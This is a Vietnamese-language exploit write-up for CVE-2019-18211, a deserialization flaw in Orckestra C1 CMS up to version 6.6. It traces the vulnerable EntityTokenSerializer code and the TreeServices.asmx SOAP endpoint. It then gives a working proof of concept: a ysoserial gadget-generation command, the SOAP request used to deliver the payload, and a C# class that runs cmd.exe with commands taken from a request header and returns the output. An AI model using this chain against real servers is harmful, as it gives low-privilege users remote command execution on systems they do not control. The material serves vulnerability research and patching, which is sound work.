CVE-2019-18211 Detail

Description
An issue was discovered in Orckestra C1 CMS through 6.6. The EntityTokenSerializer class in Composite.dll is prone to unvalidated deserialization of wrapped BinaryFormatter payloads, leading to arbitrary remote code execution for any low-privilege user.

Từ đoạn mô tả về CVE này ta có một số thông tin về class và file bị dính lỗ hổng. Và version <= 6.6 bị ảnh hưởng.

Setup

Function lỗi:

Đầu tiên cần xác định đoạn code bị lỗi và cách truy cập đến nó để trigger. Từ mô tả trên thì cũng sẽ dễ dàng tìm ra:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Ở đoạn code này sử dụng Reflection để call đến method Deserialize với 1 tham số. Vì sao chỗ này có thể xảy ra lỗi, lợi dụng đoạn này ta sẽ có thể gọi đến method Deser của bất kỳ class nào, và chỉ cần thoả mãn điều kiện static và 1 tham số đầu vào.

Hạn chế duy nhất đối với điều này là cần tham số dưới dạng String. Một Formatter phù hợp sẽ là BinaryFormatter từ Microsoft.Practices.EnterpriseLibrary.Logging.Formatters.BinaryLogFormatter

Và:

Dictionary<string, string> keyValueCollection = StringConversionServices.ParseKeyValueCollection(serializedEntityToken);
string fullName = keyValueCollection.ContainsKey("entityTokenType") && keyValueCollection.ContainsKey("entityToken") && (!includeHashValue || keyValueCollection.ContainsKey("entityTokenHash")) ? StringConversionServices.DeserializeValueString(keyValueCollection["entityTokenType"]) : throw new ArgumentException("Failed to deserialize the value. Is has to be serialized with EntityTokenSerializer.", nameof (serializedEntityToken));
string content = StringConversionServices.DeserializeValueString(keyValueCollection["entityToken"]);

Có nghĩa chúng ta cần:

fullName = Microsoft.Practices.EnterpriseLibrary.Logging.Formatters.BinaryLogFormatter tương đương keyValueCollection["entityTokenType"] = Microsoft.Practices.EnterpriseLibrary.Logging.Formatters.BinaryLogFormatter và keyValueCollection["entityToken"] = payload

Tuy nhiên không đơn giản chỉ input đầu vào, mà ta sẽ gặp một số điều kiện:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • keyValueCollection["entityTokenType"] thoả mãn regex:
_keyValuePairRegExPattern = "\s*(?<Key>[^=\s])\s=\s*(?<IsNull>null|'(?<Value>[^'\\\r\n](\\.[^'\\\r\n]))')\s,\s";

Đến đây vẫn chưa thể biết chỗ nào để có thể control được đoạn lỗi trên.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Ở đây có khá nhiều chỗ call đến method Deser của EntityTokenSerializer. Đặc biệt là TreeService

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

POST /Composite/services/Tree/TreeServices.asmx HTTP/1.1
Host: localhost
Content-Type: text/xml; charset=utf-8
Content-Length: 106308
Cookie: cookie
SOAPAction: "http://www.composite.net/ns/management/GetMultipleChildren"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <GetMultipleChildren xmlns="http://www.composite.net/ns/management">
      <clientProviderNameEntityTokenPairs>
        <RefreshChildrenParams>
          <ProviderName>string</ProviderName>
          <EntityToken>payload in here</EntityToken>
          <Piggybag>string</Piggybag>
          <SearchToken>string</SearchToken>
        </RefreshChildrenParams>
      </clientProviderNameEntityTokenPairs>
    </GetMultipleChildren>
  </soap:Body>
</soap:Envelope>

Kiểm tra chain:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

Sau đó tiếp tục call đến
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

->
Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

POC

ysoserial.exe -g DataSetOldBehaviourFromFile -f BinaryFormatter -c ".\ExploitClass.cs;dlls\System.dll;dlls\System.Web.dll"

Class ExploitClass.cs:

class E
{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Headers["cmd"];
            process.StartInfo.Arguments = "/c " + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        } catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}

Echo response:

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →